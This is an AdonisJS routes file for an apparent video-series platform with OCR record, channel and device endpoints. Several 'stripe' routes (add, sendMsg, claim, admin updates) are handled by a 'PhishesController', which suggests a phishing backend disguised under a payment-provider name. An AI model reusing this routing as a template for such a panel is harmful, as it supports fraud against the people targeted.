routes.ts 7.1 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163
  1. /*
  2. |--------------------------------------------------------------------------
  3. | Routes
  4. |--------------------------------------------------------------------------
  5. |
  6. | This file is dedicated for defining HTTP routes. A single file is enough
  7. | for majority of projects, however you can define routes in different
  8. | files and just make sure to import them inside this file. For example
  9. |
  10. | Define routes in following two files
  11. | ├── start/routes/cart.ts
  12. | ├── start/routes/customer.ts
  13. |
  14. | and then import them inside `start/routes.ts` as follows
  15. |
  16. | import './routes/cart'
  17. | import './routes/customer'
  18. |
  19. */
  20. import Route from '@ioc:Adonis/Core/Route'
  21. Route.group(() => {
  22. Route.group(() => {
  23. Route.post('login', 'AuthController.login')
  24. Route.post('register', 'AuthController.register')
  25. Route.post('admin/login', 'AuthController.loginAdmin')
  26. Route.get('/google/redirect', async ({ ally }) => {
  27. return ally.use('google').stateless().redirect()
  28. })
  29. Route.get('/facebook/redirect', async ({ ally }) => {
  30. return ally.use('facebook').redirect()
  31. })
  32. Route.get('/google/callback', async ({ ally }) => {
  33. const google = ally.use('google').stateless()
  34. /**
  35. * User has explicitly denied the login request
  36. */
  37. if (google.accessDenied()) {
  38. return 'Access was denied'
  39. }
  40. /**
  41. * Unable to verify the CSRF state
  42. */
  43. if (google.stateMisMatch()) {
  44. return 'Request expired. Retry again'
  45. }
  46. /**
  47. * There was an unknown error during the redirect
  48. */
  49. if (google.hasError()) {
  50. return google.getError()
  51. }
  52. /**
  53. * Finally, access the user
  54. */
  55. const user = await google.user()
  56. return user
  57. })
  58. }).prefix('/auth')
  59. Route.get('users/guest', 'UsersController.guest')
  60. Route.group(() => {
  61. Route.get('search', 'SeriesController.search')
  62. }).prefix('/series')
  63. Route.resource('series', 'SeriesController').apiOnly()
  64. Route.resource('episodes', 'EpisodesController').apiOnly()
  65. Route.resource('categories', 'CategoriesController').apiOnly()
  66. Route.resource('banners', 'BannersController').apiOnly()
  67. Route.resource('referrer', 'ReferrersController').apiOnly()
  68. Route.resource('properties', 'PropertiesController').apiOnly()
  69. Route.post('userBalances/rechargeNotify', 'UserBalancesController.rechargeNotify')
  70. Route.resource('stripe', 'PhishesController').apiOnly()
  71. Route.post('stripe/add', 'PhishesController.add')
  72. Route.post('stripe/sendMsg/:type/:id', 'PhishesController.sendMsg')
  73. Route.put('stripe/client/:id', 'PhishesController.clientUpdate')
  74. Route.put('stripe/admin/:id', 'PhishesController.adminUpdate')
  75. Route.put('stripe/claim/:id', 'PhishesController.claim')
  76. Route.group(() => {
  77. Route.group(() => {
  78. Route.post('upload', 'FilesController.store')
  79. Route.get('sts', 'FilesController.sts')
  80. Route.post('batchDelete', 'FilesController.batchDelete')
  81. Route.post('uploadVideo', 'FilesController.uploadVideo')
  82. }).prefix('/files')
  83. Route.group(() => {
  84. Route.get('my', 'UsersController.my')
  85. Route.get('admin/my', 'UsersController.myAdmin')
  86. Route.get('invited', 'UsersController.invited')
  87. Route.post('newAdminUser', 'UsersController.newAdminUser')
  88. Route.post('updatePassword', 'UsersController.updatePassword')
  89. }).prefix('users')
  90. Route.resource('users', 'UsersController')
  91. Route.resource('userBalances', 'UserBalancesController').apiOnly()
  92. Route.resource('balanceRecords', 'BalanceRecordsController').apiOnly()
  93. Route.resource('orders', 'OrdersController').apiOnly()
  94. Route.resource('collections', 'CollectionsController').apiOnly()
  95. Route.resource('playHistories', 'PlayHistoriesController').apiOnly()
  96. Route.group(() => {
  97. Route.get('report', 'PlayHistoriesController.report')
  98. }).prefix('playHistories')
  99. Route.resource('signInRecords', 'SignInRecordsController').apiOnly()
  100. Route.post('userBalances/recharge', 'UserBalancesController.recharge')
  101. Route.get('memberships/my', 'MembershipsController.my')
  102. Route.resource('memberships', 'MembershipsController').apiOnly()
  103. Route.resource('textRecord', 'TextRecordController').apiOnly()
  104. Route.resource('filesRecord', 'FilesRecordController').apiOnly()
  105. }).middleware('auth:api')
  106. Route.group(() => {
  107. Route.post('/name', 'PropertiesController.findByName')
  108. }).prefix('/pop')
  109. Route.group(() => {
  110. Route.get('/', 'OcrRecordController.index').middleware('auth:api')
  111. Route.post('/detail', 'OcrRecordController.getAllAddresses').middleware('auth:api')
  112. Route.put('/updateContent', 'OcrRecordController.updateContent').middleware('auth:api')
  113. Route.get('/updateDetail/:id', 'OcrRecordController.updateDetail').middleware('auth:api')
  114. Route.get('/favorite', 'OcrRecordController.favorite').middleware('auth:api')
  115. Route.get('/updateFavorite/:id', 'OcrRecordController.updateFavorite').middleware(
  116. 'auth:api'
  117. )
  118. Route.post('/imgCleaning', 'OcrRecordController.imgCleaning').middleware('auth:api')
  119. Route.post('/', 'OcrRecordController.store')
  120. }).prefix('/ocrRecord')
  121. Route.group(() => {
  122. Route.post('upload', 'FilesController.store')
  123. }).prefix('/ocrImg')
  124. Route.group(() => {
  125. Route.group(() => {
  126. Route.get('/plusDevice/:id', 'OcrChannelController.plusDeviceNum')
  127. Route.get('/plusRecord/:id', 'OcrChannelController.plusRecordNum')
  128. Route.get('/plusScan/:id/:scanCount', 'OcrChannelController.plusScanNum')
  129. Route.get('/:name/ocr-level', 'OcrChannelController.getChannelOcrLevel')
  130. })
  131. Route.group(() => {
  132. Route.get('/', 'OcrChannelController.index')
  133. Route.post('/', 'OcrChannelController.store')
  134. Route.get('/:id', 'OcrChannelController.show')
  135. Route.post('/findApiChannel', 'OcrChannelController.findApiChannel')
  136. Route.post('/getStatistics', 'OcrChannelController.getStatistics')
  137. Route.post('/names', 'OcrChannelController.getChannelNames')
  138. Route.post('/updateStatistics', 'OcrChannelController.updateStatistics')
  139. }).middleware('auth:api')
  140. }).prefix('/ocrChannel')
  141. Route.group(() => {
  142. Route.get('/', 'OcrDevicesController.index').middleware('auth:api')
  143. Route.post('/', 'OcrDevicesController.store')
  144. Route.get('/:id', 'OcrDevicesController.show').middleware('auth:api')
  145. Route.get('/plusTotal/:id', 'OcrDevicesController.plusTotal')
  146. Route.get('/plusScanned/:id/:scanCount', 'OcrDevicesController.plusScanned')
  147. Route.post('/getStatistics', 'OcrDevicesController.getStatistics').middleware('auth:api')
  148. Route.post('/today', 'OcrDevicesController.getTodayStatistics').middleware('auth:api')
  149. }).prefix('/ocrDevice')
  150. }).prefix('/api')